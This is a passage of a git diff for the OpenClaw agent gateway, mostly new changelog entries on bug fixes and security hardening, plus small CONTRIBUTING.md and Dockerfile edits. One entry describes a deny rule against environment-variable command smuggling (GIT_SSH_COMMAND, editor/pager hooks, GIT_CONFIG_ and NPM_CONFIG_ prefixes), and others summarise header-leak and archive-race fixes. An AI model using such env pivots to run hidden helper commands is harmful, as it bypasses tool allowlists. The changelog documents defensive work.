VPS environments before showing install guidance. (#37297) Thanks @acarbajal-web. - Memory/QMD mcporter Windows spawn hardening: when `mcporter.cmd` launch fails with `spawn EINVAL`, retry via bare `mcporter` shell resolution so QMD recall can continue instead of falling back to builtin memory search. (#27402) Thanks @i0ivi0i. - Tools/web_search Brave language-code validation: align `search_lang` handling with Brave-supported codes (including `zh-hans`, `zh-hant`, `en-gb`, and `pt-br`), map common alias inputs (`zh`, `ja`) to valid Brave values, and reject unsupported codes before upstream requests to prevent 422 failures. (#37260) Thanks @heyanming. @@ -59,6 +70,7 @@ Docs: https://docs.openclaw.ai - Gateway/remote WS break-glass hostname support: honor `OPENCLAW_ALLOW_INSECURE_PRIVATE_WS=1` for `ws://` hostname URLs (not only private IP literals) across onboarding validation and runtime gateway connection checks, while still rejecting public IP literals and non-unicast IPv6 endpoints. (#36930) Thanks @manju-rn. - Routing/binding lookup scalability: pre-index route bindings by channel/account and avoid full binding-list rescans on channel-account cache rollover, preventing multi-second `resolveAgentRoute` stalls in large binding configurations. (#36915) Thanks @songchenghao. - Browser/session cleanup: track browser tabs opened by session-scoped browser tool runs and close tracked tabs during `sessions.reset`/`sessions.delete` runtime cleanup, preventing orphaned tabs and unbounded browser memory growth after session teardown. (#36666) Thanks @Harnoor6693. +- Plugin/hook install rollback hardening: stage installs under the canonical install base, validate and run dependency installs before publish, and restore updates by rename instead of deleting the target path, reducing partial-replace and symlink-rebind risk during install failures. - Slack/local file upload allowlist parity: propagate `mediaLocalRoots` through the Slack send action pipeline so workspace-rooted attachments pass `assertLocalMediaAllowed` checks while non-allowlisted paths remain blocked. (synthesis: #36656; overlap considered from #36516, #36496, #36493, #36484, #32648, #30888) Thanks @2233admin. - Agents/compaction safeguard pre-check: skip embedded compaction before entering the Pi SDK when a session has no real conversation messages, avoiding unnecessary LLM API calls on idle sessions. (#36451) thanks @Sid-Qin. - Config/schema cache key stability: build merged schema cache keys with incremental hashing to avoid large single-string serialization and prevent `RangeError: Invalid string length` on high-cardinality plugin/channel metadata. (#36603) Thanks @powermaster888. @@ -85,6 +97,7 @@ Docs: https://docs.openclaw.ai - Auto-reply/system events: restore runtime system events to the message timeline (`System:` lines), preserve think-hint parsing with prepended events, and carry events into deferred followup/collect/steer-backlog prompts to keep cache behavior stable without dropping queued metadata. (#34794) Thanks @anisoptera. - Security/audit account handling: avoid prototype-chain account IDs in audit validation by using own-property checks for `accounts`. (#34982) Thanks @HOYALIM. - Cron/restart catch-up semantics: replay interrupted recurring jobs and missed immediate cron slots on startup without replaying interrupted one-shot jobs, with guarded missed-slot probing to avoid malformed-schedule startup aborts and duplicate-trigger drift after restart. (from #34466, #34896, #34625, #33206) Thanks @dunamismax, @dsantoreis, @Octane0411, and @Sid-Qin. +- Venice/provider onboarding hardening: align per-model Venice completion-token limits with discovery metadata, clamp untrusted discovery values to safe bounds, sync the static Venice fallback catalog with current live model metadata, and disable tool wiring for Venice models that do not support function calling so default Venice setups no longer fail with `max_completion_tokens` or unsupported-tools 400s. Fixes #38168. Thanks @Sid-Qin, @powermaster888 and @vincentkoc. - Agents/session usage tracking: preserve accumulated usage metadata on embedded Pi runner error exits so failed turns still update session `totalTokens` from real usage instead of stale prior values. (#34275) thanks @RealKai42. - Slack/reaction thread context routing: carry Slack native DM channel IDs through inbound context and threading tool resolution so reaction targets resolve consistently for DM `To=user:*` sessions (including `toolContext.currentChannelId` fallback behavior). (from #34831; overlaps #34440, #34502, #34483, #32754) Thanks @dunamismax. - Subagents/announce completion scoping: scope nested direct-child completion aggregation to the current requester run window, harden frozen completion capture for deterministic descendant synthesis, and route completion announce delivery through parent-agent announce turns with provenance-aware internal events. (#35080) Thanks @tyler6204. @@ -96,13 +109,18 @@ Docs: https://docs.openclaw.ai - Slack/system-event session routing: resolve reaction/member/pin/interaction system-event session keys through channel/account bindings (with sender-aware DM routing) so inbound Slack events target the correct agent session in multi-account setups instead of defaulting to `agent:main`. (#34045) Thanks @paulomcg, @daht-mad and @vincentkoc. - Slack/native streaming markdown conversion: stop pre-normalizing text passed to Slack native `markdown_text` in streaming start/append/stop paths to prevent Markdown style corruption from double conversion. (#34931) - Gateway/HTTP tools invoke media compatibility: preserve raw media payload access for direct `/tools/invoke` clients by allowing media `nodes` invoke commands only in HTTP tool context, while keeping agent-context media invoke blocking to prevent base64 prompt bloat. (#34365) Thanks @obviyus. +- Security/archive ZIP hardening: extract ZIP entries via same-directory temp files plus atomic rename, then re-open and reject post-rename hardlink alias races outside the destination root. - Agents/Nodes media outputs: add dedicated `photos_latest` action handling, block media-returning `nodes invoke` commands, keep metadata-only `camera.list` invoke allowed, and normalize empty `photos_latest` results to a consistent response shape to prevent base64 context bloat. (#34332) Thanks @obviyus. - TUI/session-key canonicalization: normalize `openclaw tui --session` values to lowercase so uppercase session names no longer drop real-time streaming updates due to gateway/TUI key mismatches. (#33866, #34013) thanks @lynnzc. +- iMessage/echo loop hardening: strip leaked assistant-internal scaffolding from outbound iMessage replies, drop reflected assistant-content messages before they re-enter inbound processing, extend echo-cache text retention for delayed reflections, and suppress repeated loop traffic before it amplifies into queue overflow. (#33295) Thanks @joelnishanth. +- Skills/workspace boundary hardening: reject workspace and extra-dir skill roots or `SKILL.md` files whose realpath escapes the configured source root, and skip syncing those escaped skills into sandbox workspaces. - Outbound/send config threading: pass resolved SecretRef config through outbound adapters and helper send paths so send flows do not reload unresolved runtime config. (#33987) Thanks @joshavant. +- Secrets/models.json persistence hardening: keep SecretRef-managed api keys + headers from persisting in generated models.json, expand audit/apply coverage, and harden marker handling/serialization. (#38955) Thanks @joshavant. - Sessions/subagent attachments: remove `attachments[].content.maxLength` from `sessions_spawn` schema to avoid llama.cpp GBNF repetition overflow, and preflight UTF-8 byte size before buffer allocation while keeping runtime file-size enforcement unchanged. (#33648) Thanks @anisoptera. - Runtime/tool-state stability: recover from dangling Anthropic `tool_use` after compaction, serialize long-running Discord handler runs without blocking new inbound events, and prevent stale busy snapshots from suppressing stuck-channel recovery. (from #33630, #33583) Thanks @kevinWangSheng and @theotarr. - ACP/Discord startup hardening: clean up stuck ACP worker children on gateway restart, unbind stale ACP thread bindings during Discord startup reconciliation, and add per-thread listener watchdog timeouts so wedged turns cannot block later messages. (#33699) Thanks @dutifulbob. - Extensions/media local-root propagation: consistently forward `mediaLocalRoots` through extension `sendMedia` adapters (Google Chat, Slack, iMessage, Signal, WhatsApp), preserving non-local media behavior while restoring local attachment resolution from configured roots. Synthesis of #33581, #33545, #33540, #33536, #33528. Thanks @bmendonca3. +- Gateway/plugin HTTP auth hardening: require gateway auth when any overlapping matched route needs it, block mixed-auth fallthrough at dispatch, and reject mixed-auth exact/prefix route overlaps during plugin registration. - Feishu/video media send contract: keep mp4-like outbound payloads on `msg_type: "media"` (including reply and reply-in-thread paths) so videos render as media instead of degrading to file-link behavior, while preserving existing non-video file subtype handling. (from #33720, #33808, #33678) Thanks @polooooo, @dingjianrui, and @kevinWangSheng. - Gateway/security default response headers: add `Permissions-Policy: camera=(), microphone=(), geolocation=()` to baseline gateway HTTP security headers for all responses. (#30186) thanks @habakan. - Plugins/startup loading: lazily initialize plugin runtime, split startup-critical plugin SDK imports into `openclaw/plugin-sdk/core` and `openclaw/plugin-sdk/telegram`, and preserve `api.runtime` reflection semantics for plugin compatibility. (#28620) thanks @hmemcpy. @@ -118,10 +136,12 @@ Docs: https://docs.openclaw.ai - Security/auth labels: remove token and API-key snippets from user-facing auth status labels so `/status` and `/models` do not expose credential fragments. (#33262) thanks @cu1ch3n. - Auth/credential semantics: align profile eligibility + probe diagnostics with SecretRef/expiry rules and harden browser download atomic writes. (#33733) thanks @joshavant. - Security/audit denyCommands guidance: suggest likely exact node command IDs for unknown `gateway.nodes.denyCommands` entries so ineffective denylist entries are easier to correct. (#29713) thanks @liquidhorizon88-bot. +- Agents/overload failover handling: classify overloaded provider failures separately from rate limits/status timeouts, add short overload backoff before retry/failover, record overloaded prompt/assistant failures as transient auth-profile cooldowns (with probeable same-provider fallback) instead of treating them like persistent auth/billing failures, and keep one-shot cron retry classification aligned so overloaded fallback summaries still count as transient retries. - Docs/security hardening guidance: document Docker `DOCKER-USER` + UFW policy and add cross-linking from Docker install docs for VPS/public-host setups. (#27613) thanks @dorukardahan. - Docs/security threat-model links: replace relative `.md` links with Mintlify-compatible root-relative routes in security docs to prevent broken internal navigation. (#27698) thanks @clawdoo. - Plugins/Update integrity drift: avoid false integrity drift prompts when updating npm-installed plugins from unpinned specs, while keeping drift checks for exact pinned versions. (#37179) Thanks @vincentkoc. - iOS/Voice timing safety: guard system speech start/finish callbacks to the active utterance to avoid misattributed start events during rapid stop/restart cycles. (#33304) thanks @mbelinky; original implementation direction by @ngutman. +- Gateway/chat.send command scopes: require `operator.admin` for persistent `/config set|unset` writes routed through gateway chat clients while keeping `/config show` available to normal write-scoped operator clients, preserving messaging-channel config command behavior without widening RPC write scope into admin config mutation. Thanks @tdjackey for reporting. - iOS/Talk incremental speech pacing: allow long punctuation-free assistant chunks to start speaking at safe whitespace boundaries so voice responses begin sooner instead of waiting for terminal punctuation. (#33305) thanks @mbelinky; original implementation by @ngutman. - iOS/Watch reply reliability: make watch session activation waiters robust under concurrent requests so status/send calls no longer hang intermittently, and align delegate callbacks with Swift 6 actor safety. (#33306) thanks @mbelinky; original implementation by @Rocuts. - Docs/tool-loop detection config keys: align `docs/tools/loop-detection.md` examples and field names with the current `tools.loopDetection` schema to prevent copy-paste validation failures from outdated keys. (#33182) Thanks @Mylszd. @@ -136,6 +156,8 @@ Docs: https://docs.openclaw.ai - Discord/voice messages: request upload slots with JSON fetch calls so voice message uploads no longer fail with content-type errors. Thanks @thewilloftheshadow. - Discord/voice decoder fallback: drop the native Opus dependency and use opusscript for voice decoding to avoid native-opus installs. Thanks @thewilloftheshadow. - Discord/auto presence health signal: add runtime availability-driven presence updates plus connected-state reporting to improve health monitoring and operator visibility. (#33277) Thanks @thewilloftheshadow. +- HEIC image inputs: accept HEIC/HEIF `input_image` sources in Gateway HTTP APIs, normalize them to JPEG before provider delivery, and document the expanded default MIME allowlist. Thanks @vincentkoc. +- Gateway/HEIC input follow-up: keep non-HEIC `input_image` MIME handling unchanged, make HEIC tests hermetic, and enforce chat-completions `maxTotalImageBytes` against post-normalization image payload size. Thanks @vincentkoc. - Telegram/draft-stream boundary stability: materialize DM draft previews at assistant-message/tool boundaries, serialize lane-boundary callbacks before final delivery, and scope preview cleanup to the active preview so multi-step Telegram streams no longer lose, overwrite, or leave stale preview bubbles. (#33842) Thanks @ngutman. - Telegram/DM draft finalization reliability: require verified final-text draft emission before treating preview finalization as delivered, and fall back to normal payload send when final draft delivery is not confirmed (preventing missing final responses and preserving media/button delivery). (#32118) Thanks @OpenCils. - Telegram/DM draft final delivery: materialize text-only `sendMessageDraft` previews into one permanent final message and skip duplicate final payload sends, while preserving fallback behavior when materialization fails. (#34318) Thanks @Brotherinlaw-13. @@ -193,8 +215,62 @@ Docs: https://docs.openclaw.ai - Memory/flush default prompt: ban timestamped variant filenames during default memory flush runs so durable notes stay in the canonical daily `memory/YYYY-MM-DD.md` file. (#34951) thanks @zerone0x. - Agents/reply delivery timing: flush embedded Pi block replies before waiting on compaction retries so already-generated assistant replies reach channels before compaction wait completes. (#35489) thanks @Sid-Qin. - Agents/gateway config guidance: stop exposing `config.schema` through the agent `gateway` tool, remove prompt/docs guidance that told agents to call it, and keep agents on `config.get` plus `config.patch`/`config.apply` for config changes. (#7382) thanks @kakuteki. +- Provider/KiloCode: Keep duplicate models after malformed discovery rows, and strip legacy `reasoning_effort` when proxy reasoning injection is skipped. (#32352) Thanks @pandemicsyn and @vincentkoc. - Agents/failover: classify periodic provider limit exhaustion text (for example `Weekly/Monthly Limit Exhausted`) as `rate_limit` while keeping explicit `402 Payment Required` variants in billing, so failover continues without misclassifying billing-wrapped quota errors. (#33813) thanks @zhouhe-xydt. - Mattermost/interactive button callbacks: allow external callback base URLs and stop requiring loopback-origin requests so button clicks work when Mattermost reaches the gateway over Tailscale, LAN, or a reverse proxy. (#37543) thanks @mukhtharcm. +- Gateway/chat.send route inheritance: keep explicit external delivery for channel-scoped sessions while preventing shared-main and other channel-agnostic webchat sessions from inheriting stale external routes, so Control UI replies stay on webchat without breaking selected channel-target sessions. (#34669) Thanks @vincentkoc. +- Telegram/Discord media upload caps: make outbound uploads honor channel `mediaMaxMb` config, raise Telegram's default media cap to 100MB, and remove MIME fallback limits that kept some Telegram uploads at 16MB. Thanks @vincentkoc. +- Skills/nano-banana-pro resolution override: respect explicit `--resolution` values during image editing and only auto-detect output size from input images when the flag is omitted. (#36880) Thanks @shuofengzhang and @vincentkoc. +- Skills/openai-image-gen CLI validation: validate `--background` and `--style` inputs early, normalize supported values, and warn when those flags are ignored for incompatible models. (#36762) Thanks @shuofengzhang and @vincentkoc. +- Skills/openai-image-gen output formats: validate `--output-format` values early, normalize aliases like `jpg -> jpeg`, and warn when the flag is ignored for incompatible models. (#36648) Thanks @shuofengzhang and @vincentkoc. +- ACP/skill env isolation: strip skill-injected API keys from ACP harness child-process environments so tools like Codex CLI keep their own auth flow instead of inheriting billed provider keys from active skills. (#36316) Thanks @taw0002 and @vincentkoc. +- WhatsApp media upload caps: make outbound media sends and auto-replies honor `channels.whatsapp.mediaMaxMb` with per-account overrides so inbound and outbound limits use the same channel config. Thanks @vincentkoc. +- Windows/Plugin install: when OpenClaw runs on Windows via Bun and `npm-cli.js` is not colocated with the runtime binary, fall back to `npm.cmd`/`npx.cmd` through the existing `cmd.exe` wrapper so `openclaw plugins install` no longer fails with `spawn EINVAL`. (#38056) Thanks @0xlin2023. +- Telegram/send retry classification: retry grammY `Network request ... failed after N attempts` envelopes in send flows without reclassifying plain `Network request ... failed!` wrappers as transient, restoring the intended retry path while keeping broad send-context message matching tight. (#38056) Thanks @0xlin2023. +- Gateway/probes: keep `/health`, `/healthz`, `/ready`, and `/readyz` reachable when the Control UI is mounted at `/`, preserve plugin-owned route precedence on those paths, and make `/ready` and `/readyz` report channel-backed readiness with startup grace plus `503` on disconnected managed channels, while `/health` and `/healthz` stay shallow liveness probes. (#18446) Thanks @vibecodooor, @mahsumaktas, and @vincentkoc. +- Feishu/media downloads: drop invalid timeout fields from SDK method calls now that client-level `httpTimeoutMs` applies to requests. (#38267) Thanks @ant1eicher and @thewilloftheshadow. +- PI embedded runner/Feishu docs: propagate sender identity into embedded attempts so Feishu doc auto-grant restores requester access for embedded-runner executions. (#32915) thanks @cszhouwei. +- Agents/usage normalization: normalize missing or partial assistant usage snapshots before compaction accounting so `openclaw agent --json` no longer crashes when provider payloads omit `totalTokens` or related usage fields. (#34977) thanks @sp-hk2ldn. +- Venice/default model refresh: switch the built-in Venice default to `kimi-k2-5`, update onboarding aliasing, and refresh Venice provider docs/recommendations to match the current private and anonymized catalog. (from #12964) Fixes #20156. Thanks @sabrinaaquino and @vincentkoc. +- Agents/skill API write pacing: add a global prompt guardrail that treats skill-driven external API writes as rate-limited by default, so runners prefer batched writes, avoid tight request loops, and respect `429`/`Retry-After`. Thanks @vincentkoc. +- Google Chat/multi-account webhook auth fallback: when `channels.googlechat.accounts.default` carries shared webhook audience/path settings (for example after config normalization), inherit those defaults for named accounts while preserving top-level and per-account overrides, so inbound webhook verification no longer fails silently for named accounts missing duplicated audience fields. Fixes #38369. +- Models/tool probing: raise the tool-capability probe budget from 32 to 256 tokens so reasoning models that spend tokens on thinking before returning a required tool call are less likely to be misclassified as not supporting tools. (#7521) Thanks @jakobdylanc. +- Gateway/transient network classification: treat wrapped `...: fetch failed` transport messages as transient while avoiding broad matches like `Web fetch failed (404): ...`, preventing Discord reconnect wrappers from crashing the gateway without suppressing non-network tool failures. (#38530) Thanks @xinhuagu. +- ACP/console silent reply suppression: filter ACP `NO_REPLY` lead fragments and silent-only finals before `openclaw agent` logging/delivery so console-backed ACP sessions no longer leak `NO`/`NO_REPLY` placeholders. (#38436) Thanks @ql-wade. +- Feishu/reply delivery reliability: disable block streaming in Feishu reply options so plain-text auto-render replies are no longer silently dropped before final delivery. (#38258) Thanks @xinhuagu. +- Agents/reply MEDIA delivery: normalize local assistant `MEDIA:` paths before block/final delivery, keep media dedupe aligned with message-tool sends, and contain malformed media normalization failures so generated files send reliably instead of falling back to empty responses. (#38572) Thanks @obviyus. +- Sessions/bootstrap cache rollover invalidation: clear cached workspace bootstrap snapshots whenever an existing `sessionKey` rolls to a new `sessionId` across auto-reply, command, and isolated cron session resolvers, so `AGENTS.md`/`MEMORY.md`/`USER.md` updates are reloaded after daily, idle, or forced session resets instead of staying stale until gateway restart. (#38494) Thanks @LivingInDrm. +- Gateway/Telegram polling health monitor: skip stale-socket restarts for Telegram long-polling channels and thread channel identity through shared health evaluation so polling connections are not restarted on the WebSocket stale-socket heuristic. (#38395) Thanks @ql-wade and @Takhoffman. +- Daemon/systemd fresh-install probe: check for OpenClaw's managed user unit before running `systemctl --user is-enabled`, so first-time Linux installs no longer fail on generic missing-unit probe errors. (#38819) Thanks @adaHubble. +- Gateway/Windows restart supervision: relaunch task-managed gateways through Scheduled Task with quoted helper-script command paths, distinguish restart-capable supervisors per platform, and stop orphaned Windows gateway children during self-restart. (#38825) Thanks @obviyus. +- Telegram/native topic command routing: resolve forum-topic native commands through the same conversation route as inbound messages so topic `agentId` overrides and bound topic sessions target the active session instead of the default topic-parent session. (#38871) Thanks @obviyus. +- Markdown/assistant image hardening: flatten remote markdown images to plain text across the Control UI, exported HTML, and shared Swift chat while keeping inline `data:image/...` markdown renderable, so model output no longer triggers automatic remote image fetches. (#38895) Thanks @obviyus. +- Config/compaction safeguard settings: regression-test `agents.defaults.compaction.recentTurnsPreserve` through `loadConfig()` and cover the new help metadata entry so the exposed preserve knob stays wired through schema validation and config UX. (#25557) thanks @rodrigouroz. +- iOS/Quick Setup presentation: skip automatic Quick Setup when a gateway is already configured (active connect config, last-known connection, preferred gateway, or manual host), so reconnecting installs no longer get prompted to connect again. (#38964) Thanks @ngutman. +- CLI/Docs memory help accuracy: clarify `openclaw memory status --deep` behavior and align memory command examples/docs with the current search options. (#31803) Thanks @JasonOA888 and @Avi974. +- Auto-reply/allowlist store account scoping: keep `/allowlist ... --store` writes scoped to the selected account and clear legacy unscoped entries when removing default-account store access, preventing cross-account default allowlist bleed-through from legacy pairing-store reads. Thanks @tdjackey for reporting and @vincentkoc for the fix. +- Security/Nostr: harden profile mutation/import loopback guards by failing closed on non-loopback forwarded client headers (`x-forwarded-for` / `x-real-ip`) and rejecting `sec-fetch-site: cross-site`; adds regression coverage for proxy-forwarded and browser cross-site mutation attempts. +- CLI/bootstrap Node version hint maintenance: replace hardcoded nvm `22` instructions in `openclaw.mjs` with `MIN_NODE_MAJOR` interpolation so future minimum-Node bumps keep startup guidance in sync automatically. (#39056) Thanks @onstash. +- Discord/native slash command auth: honor `commands.allowFrom.discord` (and `commands.allowFrom["*"]`) in guild slash-command pre-dispatch authorization so allowlisted senders are no longer incorrectly rejected as unauthorized. (#38794) Thanks @jskoiz and @thewilloftheshadow. +- Outbound/message target normalization: ignore empty legacy `to`/`channelId` fields when explicit `target` is provided so valid target-based sends no longer fail legacy-param validation; includes regression coverage. (#38944) Thanks @Narcooo. +- Models/auth token prompts: guard cancelled manual token prompts so `Symbol(clack:cancel)` values cannot be persisted into auth profiles; adds regression coverage for cancelled `models auth paste-token`. (#38951) Thanks @MumuTW. +- Gateway/loopback announce URLs: treat `http://` and `https://` aliases with the same loopback/private-network policy as websocket URLs so loopback cron announce delivery no longer fails secure URL validation. (#39064) Thanks @Narcooo. +- Models/default provider fallback: when the hardcoded default provider is removed from `models.providers`, resolve defaults from configured providers instead of reporting stale removed-provider defaults in status output. (#38947) Thanks @davidemanuelDEV. +- Agents/cache-trace stability: guard stable stringify against circular references in trace payloads so near-limit payloads no longer crash with `Maximum call stack size exceeded`; adds regression coverage. (#38935) Thanks @MumuTW. +- Extensions/diffs CI stability: add `headers` to the `localReq` test helper in `extensions/diffs/index.test.ts` so forwarding-hint checks no longer crash with `req.headers` undefined. (supersedes #39063) Thanks @Shennng. +- Agents/compaction thresholding: apply `agents.defaults.contextTokens` cap to the model passed into embedded run and `/compact` session creation so auto-compaction thresholds use the effective context window, not native model max context. (#39099) Thanks @MumuTW. +- Models/merge mode provider precedence: when `models.mode: "merge"` is active and config explicitly sets a provider `baseUrl`, keep config as source of truth instead of preserving stale runtime `models.json` `baseUrl` values; includes normalized provider-key coverage. (#39103) Thanks @BigUncle. +- UI/Control chat tool streaming: render tool events live in webchat without requiring refresh by enabling `tool-events` capability, fixing stream/event correlation, and resetting/reloading stream state around tool results and terminal events. (#39104) Thanks @jakepresent. +- Models/provider apiKey persistence hardening: when a provider `apiKey` value equals a known provider env var value, persist the canonical env var name into `models.json` instead of resolved plaintext secrets. (#38889) Thanks @gambletan. +- Discord/model picker persistence check: add a short post-dispatch settle delay before reading back session model state so picker confirmations stop reporting false mismatch warnings after successful model switches. (#39105) Thanks @akropp. +- Agents/OpenAI WS compat store flag: omit `store` from `response.create` payloads when model compat sets `supportsStore: false`, preventing strict OpenAI-compatible providers from rejecting websocket requests with unknown-field errors. (#39113) Thanks @scoootscooob. +- Config/validation log sanitization: sanitize config-validation issue paths/messages before logging so control characters and ANSI escape sequences cannot inject misleading terminal output from crafted config content. (#39116) Thanks @powermaster888. +- Agents/compaction counter accuracy: count successful overflow-triggered auto-compactions (`willRetry=true`) in the compaction counter while still excluding aborted/no-result events, so `/status` reflects actual safeguard compaction activity. (#39123) Thanks @MumuTW. +- Gateway/chat delta ordering: flush buffered assistant deltas before emitting tool `start` events so pre-tool text is delivered to Control UI before tool cards, avoiding transient text/tool ordering artifacts in streaming. (#39128) Thanks @0xtangping. +- Voice-call plugin schema parity: add missing manifest `configSchema` fields (`webhookSecurity`, `streaming.preStartTimeoutMs|maxPendingConnections|maxPendingConnectionsPerIp|maxConnections`, `staleCallReaperSeconds`) so gateway AJV validation accepts already-supported runtime config instead of failing with `additionalProperties` errors. (#38892) Thanks @giumex. +- Agents/OpenAI WS reconnect retry accounting: avoid double retry scheduling when reconnect failures emit both `error` and `close`, so retry budgets track actual reconnect attempts instead of exhausting early. (#39133) Thanks @scoootscooob. +- Daemon/Windows schtasks runtime detection: use locale-invariant `Last Run Result` running codes (`0x41301`/`267009`) as the primary running signal so `openclaw node status` no longer misreports active tasks as stopped on non-English Windows locales. (#39076) Thanks @ademczuk. +- Usage/token count formatting: round near-million token counts to millions (`1.0m`) instead of `1000k`, with explicit boundary coverage for `999_499` and `999_500`. (#39129) Thanks @CurryMessi. ## 2026.3.2 @@ -221,6 +297,7 @@ Docs: https://docs.openclaw.ai - Plugin runtime/events: expose `runtime.events.onAgentEvent` and `runtime.events.onSessionTranscriptUpdate` for extension-side subscriptions, and isolate transcript-listener failures so one faulty listener cannot break the entire update fanout. (#16044) Thanks @scifantastic. - CLI/Banner taglines: add `cli.banner.taglineMode` (`random` | `default` | `off`) to control funny tagline behavior in startup output, with docs + FAQ guidance and regression tests for config override behavior. - Agents/compaction safeguard quality-audit rollout: keep summary quality audits disabled by default unless `agents.defaults.compaction.qualityGuard` is explicitly enabled, and add config plumbing for bounded retry control. (#25556) thanks @rodrigouroz. +- Gateway/input_image MIME validation: sniff uploaded image bytes before MIME allowlist enforcement again so declared image types cannot mask concrete non-image payloads, while keeping HEIC/HEIF normalization behavior scoped to actual HEIC inputs. Thanks @vincentkoc. ### Breaking @@ -547,10 +624,16 @@ Docs: https://docs.openclaw.ai - Docs/Contributing: require before/after screenshots for UI or visual PRs in the pre-PR checklist. (#32206) Thanks @hydro13. - Models/OpenAI forward compat: add support for `openai/gpt-5.4`, `openai/gpt-5.4-pro`, and `openai-codex/gpt-5.4`, including direct OpenAI Responses `serviceTier` passthrough safeguards for valid values. (#36590) Thanks @dorukardahan. +- Android/Play package ID: rename the Android app package to `ai.openclaw.app`, including matching benchmark and Android tooling references for Play publishing. (#38712) Thanks @obviyus. ### Fixes +- Cron/announce delivery: stop duplicate completion announces when cron early-return paths already handled delivery, and replace descendant followup polling with push-based waits so cron summaries arrive without the old busy-loop fallback. (#39089) Thanks @tyler6204. +- Dashboard/macOS auth handling: switch the macOS “Open Dashboard” flow from query-string token injection to URL fragments, stop persisting Control UI gateway tokens in browser localStorage, and scrub legacy stored tokens on load. Thanks @JNX03 for reporting. - Models/provider config precedence: prefer exact `models.providers.` matches before normalized provider aliases in embedded model resolution, preventing alias/canonical key collisions from applying the wrong provider `api`, `baseUrl`, or headers. (#35934) thanks @RealKai42. +- Hooks/auth throttling: reject non-`POST` `/hooks/*` requests before auth-failure accounting so unsupported methods can no longer burn the hook auth lockout budget and block legitimate webhook delivery. Thanks @JNX03 for reporting. +- Network/fetch guard redirect auth stripping: switch cross-origin redirect handling in `fetchWithSsrFGuard` from a narrow sensitive-header denylist to a safe-header allowlist so custom auth headers like `X-Api-Key` and `Private-Token` no longer leak on origin changes. Thanks @Rickidevs for reporting. +- Exec/system.run env sanitization: block dangerous override-only env pivots such as `GIT_SSH_COMMAND`, editor/pager hooks, and `GIT_CONFIG_` / `NPM_CONFIG_` override prefixes so allowlisted tools cannot smuggle helper command execution through subprocess environment overrides. Thanks @tdjackey and @SnailSploit for reporting. - Logging/Subsystem console timestamps: route subsystem console timestamp rendering through `formatConsoleTimestamp(...)` so `pretty` and timestamp-prefix output use local timezone formatting consistently instead of inline UTC `toISOString()` paths. (#25970) Thanks @openperf. - Feishu/Multi-account + reply reliability: add `channels.feishu.defaultAccount` outbound routing support with schema validation, prevent inbound preview text from leaking into prompt system events, keep quoted-message extraction text-first (post/interactive/file placeholders instead of raw JSON), route Feishu video sends as `msg_type: "file"`, and avoid websocket event blocking by using non-blocking event handling in monitor dispatch. Landed from contributor PRs #31209, #29610, #30432, #30331, and #29501. Thanks @stakeswky, @hclsys, @bmendonca3, @patrick-yingxi-pan, and @zwffff. - Feishu/Target routing + replies + dedupe: normalize provider-prefixed targets (`feishu:`/`lark:`), prefer configured `channels.feishu.defaultAccount` for tool execution, honor Feishu outbound `renderMode` in adapter text/caption sends, fall back to normal send when reply targets are withdrawn/deleted, and add synchronous in-memory dedupe guard for concurrent duplicate inbound events. Landed from contributor PRs #30428, #30438, #29958, #30444, and #29463. Thanks @bmendonca3 and @Yaxuan42. @@ -695,6 +778,7 @@ Docs: https://docs.openclaw.ai - Slack/Disabled channel startup: skip Slack monitor socket startup entirely when `channels.slack.enabled=false` (including configs that still contain valid tokens), preventing disabled accounts from opening websocket connections. (#30586) Thanks @liuxiaopai-ai. - Onboarding/Custom providers: use Azure OpenAI-specific verification auth/payload shape (`api-key`, deployment-path chat completions payload) when probing Azure endpoints so valid Azure custom-provider setup no longer fails preflight. (#29421) Thanks @kunalk16. - Feishu/Docx editing tools: add `feishu_doc` positional insert, table row/column operations, table-cell merge, and color-text updates; switch markdown write/append/insert to Descendant API insertion with large-document batching; and harden image uploads for data URI/base64/local-path inputs with strict validation and routing-safe upload metadata. (#29411) Thanks @Elarwei001. +- Commands/Owner-only tools: treat identified direct-chat senders as owners when no owner allowlist is configured, while preserving internal `operator.admin` owner sessions. (#26331) thanks @widingmarcus-cyber ## 2026.2.26 @@ -2865,6 +2949,7 @@ Docs: https://docs.openclaw.ai - BlueBubbles: resolve short message IDs safely and expose full IDs in templates. (#1387) Thanks @tyler6204. - Infra: preserve fetch helper methods when wrapping abort signals. (#1387) - macOS: default distribution packaging to universal binaries. (#1396) Thanks @JustYannicc. +- Embedded runner: forward sender identity into attempt execution so Feishu doc auto-grant receives requester context again. (#32915) Thanks @cszhouwei. ## 2026.1.20 diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index efaa74d6021..42ec9698453 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -15,7 +15,7 @@ Welcome to the lobster tank! 🦞 - GitHub: [@steipete](https://github.com/steipete) · X: [@steipete](https://x.com/steipete) - **Shadow** - Discord subsystem, Discord admin, Clawhub, all community moderation - - GitHub: [@thewilloftheshadow](https://github.com/thewilloftheshadow) · X: [@4shad0wed](https://x.com/4shad0wed) + - GitHub: [@thewilloftheshadow](https://github.com/thewilloftheshadow) · X: [@4shadowed](https://x.com/4shadowed) - **Vignesh** - Memory (QMD), formal modeling, TUI, IRC, and Lobster - GitHub: [@vignesh07](https://github.com/vignesh07) · X: [@\_vgnsh](https://x.com/_vgnsh) diff --git a/Dockerfile b/Dockerfile index b314ca3283d..a4a98e305e1 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,17 +1,37 @@ -FROM node:22-bookworm@sha256:cd7bcd2e7a1e6f72052feb023c7f6b722205d3fcab7bbcbd2d1bfdab10b1e935 +# Opt-in extension dependencies at build time (space-separated directory names). +# Example: docker build --build-arg OPENCLAW_EXTENSIONS="diagnostics-otel matrix" . +# +# Multi-stage build produces a minimal runtime image without build tools, +# source code, or Bun. Works with Docker, Buildx, and Podman. +# The ext-deps stage extracts only the package.json files we need from +# extensions/, so the main build layer is not invalidated by unrelated +# extension source changes. +# +# Two runtime variants: +# Default (bookworm): docker build . +# Slim (bookworm-slim): docker build --build-arg OPENCLAW_VARIANT=slim . +ARG OPENCLAW_EXTENSIONS="" +ARG OPENCLAW_VARIANT=default -# OCI base-image metadata for downstream image consumers. -# If you change these annotations, also update: -# - docs/install/docker.md ("Base image metadata" section) -# - https://docs.openclaw.ai/install/docker -LABEL org.opencontainers.image.base.name="docker.io/library/node:22-bookworm" \ - org.opencontainers.image.base.digest="sha256:cd7bcd2e7a1e6f72052feb023c7f6b722205d3fcab7bbcbd2d1bfdab10b1e935" \ - org.opencontainers.image.source="https://github.com/openclaw/openclaw" \ - org.opencontainers.image.url="https://openclaw.ai" \ - 